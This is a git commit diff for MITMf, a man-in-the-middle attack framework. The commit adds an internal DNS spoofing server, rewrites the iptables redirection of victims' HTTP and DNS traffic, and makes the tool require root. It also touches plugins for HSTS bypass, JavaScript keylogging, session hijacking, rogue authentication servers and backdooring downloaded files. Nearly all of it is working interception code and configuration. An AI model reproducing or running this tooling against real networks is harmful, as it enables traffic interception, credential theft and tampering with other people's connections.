- Whole framework now requires root privs

- Added an internal DNS server
- Proxy can now use our custom DNS server (DNSChef) or Twisted's
- Removed priv check from plugins
- DNS spoofing fully re-written
- Iptables rules are now checked and set between plugins
This commit is contained in:
byt3bl33d3r 2015-04-12 01:49:43 +02:00
parent c8732d60eb
commit 9a1c3b0ec4
22 changed files with 129 additions and 90 deletions

View file

@ -8,7 +8,6 @@
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
#(assuming you config file is in the default directory) #(assuming you config file is in the default directory)
# #
args='' args=''
#Required BeEF and Metasploit options #Required BeEF and Metasploit options
@ -23,28 +22,22 @@
rpcip = 127.0.0.1 rpcip = 127.0.0.1
rpcpass = abc123 rpcpass = abc123
#
#Plugin configuration starts here
#
[Spoof]
[[DHCP]]
ip_pool = 192.168.2.10-50
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
[[DNS]] [[DNS]]
# #
#Here you can configure DNSChef's options #Here you can configure MITMf's internal DNS server
# #
resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended)
tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
port = 53 #Port to listen on port = 53 #Port to listen on
nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!)
tcp = Off #Use the TCP DNS proxy instead of the default UDP
ipv6 = Off #Run in IPv6 mode #
#Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
#can also be a comma seperated list e.g 8.8.8.8,8.8.4.4
#
nameservers = 8.8.8.8
[[[A]]] # Queries for IPv4 address records [[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.0.2.1 *.thesprawl.org=192.0.2.1
@ -82,6 +75,17 @@
[[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig) [[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
#
#Plugin configuration starts here
#
[Spoof]
[[DHCP]]
ip_pool = 192.168.2.10-50
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
[Responder] [Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on. #Set these values to On or Off, so you can control which rogue authentication server is turned on.

View file

@ -16,7 +16,7 @@
# USA # USA
# #
import urlparse, logging, os, sys, random, re import urlparse, logging, os, sys, random, re, dns.resolver
from twisted.web.http import Request from twisted.web.http import Request
from twisted.web.http import HTTPChannel from twisted.web.http import HTTPChannel
@ -55,6 +55,12 @@ class ClientRequest(Request):
self.plugins = ProxyPlugins.getInstance() self.plugins = ProxyPlugins.getInstance()
#self.uniqueId = random.randint(0, 10000) #self.uniqueId = random.randint(0, 10000)
#Use are own DNS server instead of reactor.resolve()
self.resolver = URLMonitor.getInstance().getResolver()
self.customResolver = dns.resolver.Resolver()
self.customResolver.nameservers = ['127.0.0.1']
self.customResolver.port = URLMonitor.getInstance().getResolverPort()
def cleanHeaders(self): def cleanHeaders(self):
headers = self.getAllHeaders().copy() headers = self.getAllHeaders().copy()
@ -173,7 +179,7 @@ class ClientRequest(Request):
self.proxyViaHTTP(address, self.method, path, postData, headers, port) self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error): def handleHostResolvedError(self, error):
logging.warning("[ClientRequest] Host resolution error: " + str(error)) logging.debug("[ClientRequest] Host resolution error: " + str(error))
try: try:
self.finish() self.finish()
except: except:
@ -186,7 +192,17 @@ class ClientRequest(Request):
mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
return defer.succeed(address) return defer.succeed(address)
else: else:
mitmf_logger.debug("[ClientRequest] Host not cached.") mitmf_logger.debug("[ClientRequest] Host not cached.")
if self.resolver == 'dnschef':
try:
address = str(self.customResolver.query(host)[0].address)
return defer.succeed(address)
except Exception:
return defer.fail()
elif self.resolver == 'twisted':
return reactor.resolve(host) return reactor.resolve(host)
def process(self): def process(self):

View file

@ -47,6 +47,8 @@ class URLMonitor:
self.hsts = False self.hsts = False
self.app = False self.app = False
self.hsts_config = None self.hsts_config = None
self.resolver = 'dnschef'
self.resolverport = 53
@staticmethod @staticmethod
def getInstance(): def getInstance():
@ -55,6 +57,22 @@ class URLMonitor:
return URLMonitor._instance return URLMonitor._instance
#This is here because I'm lazy
def setResolver(self, resolver):
self.resolver = str(resolver).lower()
#This is here because I'm lazy
def getResolver(self):
return self.resolver
#This is here because I'm lazy
def setResolverPort(self, port):
self.resolverport = int(port)
#This is here because I'm lazy
def getResolverPort(self):
return self.resolverport
def isSecureLink(self, client, url): def isSecureLink(self, client, url):
for expression in URLMonitor.javascriptTrickery: for expression in URLMonitor.javascriptTrickery:
if (re.match(expression, url)): if (re.match(expression, url)):
@ -133,7 +151,6 @@ class URLMonitor:
self.faviconSpoofing = faviconSpoofing self.faviconSpoofing = faviconSpoofing
def setHstsBypass(self, hstsconfig): def setHstsBypass(self, hstsconfig):
if hstsconfig:
self.hsts = True self.hsts = True
self.hsts_config = hstsconfig self.hsts_config = hstsconfig

View file

@ -30,19 +30,33 @@ class SystemConfig:
file.write(str(value)) file.write(str(value))
file.close() file.close()
class iptables: class IpTables:
_instance = None
def __init__(self):
self.dns = False
self.http = False
@staticmethod @staticmethod
def Flush(): def getInstance():
if IpTables._instance == None:
IpTables._instance = IpTables()
return IpTables._instance
def Flush(self):
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
self.dns = False
self.http = False
@staticmethod def HTTP(self, http_redir_port):
def HTTP(http_redir_port):
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
self.http = True
@staticmethod def DNS(self, ip, port):
def DNS(ip, port):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port)) os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port))
self.dns = True
class Banners: class Banners:

@ -1 +1 @@
Subproject commit fbc5ec324b6045db2f6cc62662ab51d3ff979ec8 Subproject commit 9707672de62bd42f651fabc6f9d368d7a67b4d99

View file

@ -36,14 +36,6 @@ from scapy.all import get_if_addr, get_if_hwaddr
from plugins import * from plugins import *
plugin_classes = plugin.Plugin.__subclasses__() plugin_classes = plugin.Plugin.__subclasses__()
try:
import netfilterqueue
if netfilterqueue.VERSION[1] is not 6:
print "[-] Wrong version of NetfilterQueue library installed!"
print "[-] Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it!"
except ImportError:
print "[-] NetfilterQueue library missing! DNS tampering will not work"
try: try:
import user_agents import user_agents
except ImportError: except ImportError:
@ -52,9 +44,13 @@ except ImportError:
mitmf_version = "0.9.6" mitmf_version = "0.9.6"
sslstrip_version = "0.9" sslstrip_version = "0.9"
sergio_version = "0.2.1" sergio_version = "0.2.1"
dnschef_version = "0.4"
Banners().printBanner() Banners().printBanner()
if os.geteuid() != 0:
sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?")
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add MITMf options #add MITMf options
mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
@ -114,15 +110,6 @@ if config_args:
sys.argv.append(arg) sys.argv.append(arg)
args = parser.parse_args() args = parser.parse_args()
#Check to see if called plugins require elevated privs
try:
for p in plugins:
if (vars(args)[p.optname] is True) and (p.req_root is True):
if os.geteuid() != 0:
sys.exit("[-] %s plugin requires root privileges" % p.name)
except AttributeError:
sys.exit("[-] %s plugin is missing the req_root attribute" % p.name)
#################################################################################################### ####################################################################################################
# Here we check for some variables that are very commonly used, and pass them down to the plugins # Here we check for some variables that are very commonly used, and pass them down to the plugins
@ -189,8 +176,18 @@ else:
from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import DNSChef
URLMonitor.getInstance().setFaviconSpoofing(args.favicon) URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
URLMonitor.getInstance().setResolver(args.configfile['MITMf']['DNS']['resolver'])
URLMonitor.getInstance().setResolverPort(args.configfile['MITMf']['DNS']['port'])
DNSChef.getInstance().setCoreVars(args.configfile['MITMf']['DNS'])
if args.configfile['MITMf']['DNS']['tcp'].lower() == 'on':
DNSChef.getInstance().startTCP()
else:
DNSChef.getInstance().startUDP()
CookieCleaner.getInstance().setEnabled(args.killsessions) CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load) ProxyPlugins.getInstance().setPlugins(load)
@ -207,7 +204,8 @@ else:
print "|" print "|"
print "|_ Sergio-Proxy v%s online" % sergio_version print "|_ Sergio-Proxy v%s online" % sergio_version
print "|_ SSLstrip v%s by Moxie Marlinspike running...\n" % sslstrip_version print "|_ SSLstrip v%s by Moxie Marlinspike online" % sslstrip_version
print "|_ DNSChef v%s online\n" % dnschef_version
reactor.run() reactor.run()

View file

@ -39,7 +39,6 @@ class AppCachePlugin(Plugin):
implements = ["handleResponse"] implements = ["handleResponse"]
version = "0.3" version = "0.3"
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options

View file

@ -40,7 +40,6 @@ class BeefAutorun(Inject, Plugin):
tree_output = [] tree_output = []
depends = ["Inject"] depends = ["Inject"]
version = "0.3" version = "0.3"
req_root = False
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):

View file

@ -33,7 +33,6 @@ class BrowserProfiler(Inject, Plugin):
depends = ["Inject"] depends = ["Inject"]
version = "0.2" version = "0.2"
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)

View file

@ -29,7 +29,6 @@ class CacheKill(Plugin):
bad_headers = ['if-none-match', 'if-modified-since'] bad_headers = ['if-none-match', 'if-modified-since']
version = "0.1" version = "0.1"
has_opts = True has_opts = True
req_root = False
def add_options(self, options): def add_options(self, options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")

View file

@ -81,7 +81,6 @@ class FilePwn(Plugin):
tree_output = ["BDFProxy v0.2 online"] tree_output = ["BDFProxy v0.2 online"]
version = "0.2" version = "0.2"
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''

View file

@ -35,7 +35,6 @@ class Inject(CacheKill, Plugin):
optname = "inject" optname = "inject"
implements = ["handleResponse", "handleHeader", "connectionMade"] implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True has_opts = True
req_root = False
desc = "Inject arbitrary content into HTML content" desc = "Inject arbitrary content into HTML content"
version = "0.2" version = "0.2"
depends = ["CacheKill"] depends = ["CacheKill"]

View file

@ -30,7 +30,6 @@ class jskeylogger(Inject, Plugin):
depends = ["Inject"] depends = ["Inject"]
version = "0.2" version = "0.2"
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)

View file

@ -39,7 +39,6 @@ class Replace(CacheKill, Plugin):
depends = ["CacheKill"] depends = ["CacheKill"]
version = "0.1" version = "0.1"
has_opts = True has_opts = True
req_root = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options

View file

@ -34,7 +34,6 @@ class Responder(Plugin):
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2" version = "0.2"
has_opts = True has_opts = True
req_root = True
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''

View file

@ -30,7 +30,6 @@ class SMBAuth(Inject, Plugin):
depends = ["Inject"] depends = ["Inject"]
version = "0.1" version = "0.1"
has_opts = True has_opts = True
req_root = False
def initialize(self, options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)

View file

@ -19,22 +19,20 @@
# #
import sys import sys
import dns.resolver
import logging import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin
from core.utils import SystemConfig from core.utils import IpTables
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import start_dnschef from libs.dnschef.dnschef import DNSChef
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'
optname = 'hsts' optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass' desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4" version = "0.4"
tree_output = ["SSLstrip+ by Leonardo Nve running", "DNSChef v0.3 online"] tree_output = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False has_opts = False
req_root = True
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
@ -42,10 +40,17 @@ class HSTSbypass(Plugin):
try: try:
hstsconfig = options.configfile['SSLstrip+'] hstsconfig = options.configfile['SSLstrip+']
dnsconfig = options.configfile['Spoof']['DNS']
except Exception, e: except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
URLMonitor.getInstance().setHstsBypass(hstsconfig) if not options.manualiptables:
if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port'])
start_dnschef(options, dnsconfig, hstsconfig) URLMonitor.getInstance().setHstsBypass(hstsconfig)
DNSChef.getInstance().setHstsBypass(hstsconfig)
def finish(self):
if not self.manualiptables:
if IpTables.getInstance().dns is True:
IpTables.getInstance().Flush()

View file

@ -41,7 +41,6 @@ class SessionHijacker(Plugin):
implements = ["cleanHeaders"] #["handleHeader"] implements = ["cleanHeaders"] #["handleHeader"]
version = "0.1" version = "0.1"
has_opts = True has_opts = True
req_root = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''

View file

@ -45,7 +45,6 @@ class Sniffer(Plugin):
implements = ["sendRequest"] implements = ["sendRequest"]
version = "0.1" version = "0.1"
has_opts = False has_opts = False
req_root = True
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options

View file

@ -21,11 +21,11 @@
import logging import logging
import sys import sys
from core.utils import SystemConfig from core.utils import SystemConfig, IpTables
from core.sslstrip.DnsCache import DnsCache from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from plugins.plugin import Plugin from plugins.plugin import Plugin
from libs.dnschef.dnschef import start_dnschef from libs.dnschef.dnschef import DNSChef
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
@ -35,14 +35,12 @@ class Spoof(Plugin):
optname = "spoof" optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6" version = "0.6"
tree_output = []
has_opts = True has_opts = True
req_root = True
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.dnscfg = options.configfile['Spoof']['DNS'] self.dnscfg = options.configfile['MITMf']['DNS']
self.dhcpcfg = options.configfile['Spoof']['DHCP'] self.dhcpcfg = options.configfile['Spoof']['DHCP']
self.target = options.target self.target = options.target
self.manualiptables = options.manualiptables self.manualiptables = options.manualiptables
@ -91,10 +89,10 @@ class Spoof(Plugin):
if options.dns: if options.dns:
if not options.manualiptables: if not options.manualiptables:
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port']) if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port'])
self.tree_output.append("DNSChef v0.3 online") DNSChef.getInstance().loadRecords(self.dnscfg)
start_dnschef(options, self.dnscfg)
if not options.arp and not options.icmp and not options.dhcp and not options.dns: if not options.arp and not options.icmp and not options.dhcp and not options.dns:
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
@ -102,7 +100,8 @@ class Spoof(Plugin):
SystemConfig.setIpForwarding(1) SystemConfig.setIpForwarding(1)
if not options.manualiptables: if not options.manualiptables:
SystemConfig.iptables.HTTP(options.listen) if IpTables.getInstance().http is False:
IpTables.getInstance().HTTP(options.listen)
for protocol in self.protocolInstances: for protocol in self.protocolInstances:
protocol.start() protocol.start()
@ -124,6 +123,6 @@ class Spoof(Plugin):
protocol.stop() protocol.stop()
if not self.manualiptables: if not self.manualiptables:
SystemConfig.iptables.Flush() IpTables.getInstance().Flush()
SystemConfig.setIpForwarding(0) SystemConfig.setIpForwarding(0)

View file

@ -32,7 +32,6 @@ class Upsidedownternet(Plugin):
implements = ["handleResponse", "handleHeader"] implements = ["handleResponse", "handleHeader"]
version = "0.1" version = "0.1"
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
from PIL import Image, ImageFile from PIL import Image, ImageFile

View file

@ -10,7 +10,6 @@ class Plugin(object):
desc = "" desc = ""
implements = [] implements = []
has_opts = False has_opts = False
req_root = False
def __init__(self): def __init__(self):
'''Called on plugin instantiation. Probably don't need this''' '''Called on plugin instantiation. Probably don't need this'''